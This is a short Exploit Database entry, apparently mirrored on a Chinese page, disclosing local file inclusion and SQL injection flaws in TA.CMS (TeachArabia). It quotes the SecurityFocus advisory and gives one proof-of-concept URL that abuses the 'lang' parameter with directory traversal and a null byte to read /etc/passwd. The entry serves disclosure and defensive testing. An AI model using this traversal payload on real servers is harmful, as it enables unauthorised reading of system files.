TA.CMS (TeachArabia) – ‘lang’ Traversal Local File Inclusion

• Exploit Database
• 114 阅读

• 作者： CoBRa_21
  日期： 2011-11-22
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/36329/
• 1 2 3 4 5 6 7 8

  source: https://www.securityfocus.com/bid/50773/info TA.CMS is prone to multiple local file-include and SQL-injection vulnerabilities. An attacker can exploit these issues to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, and view and execute arbitrary local files within the context of the webserver. http://www.example.com/?lang=../../../../../../../../../../../../../../../etc/passwd%00.png&p_id=60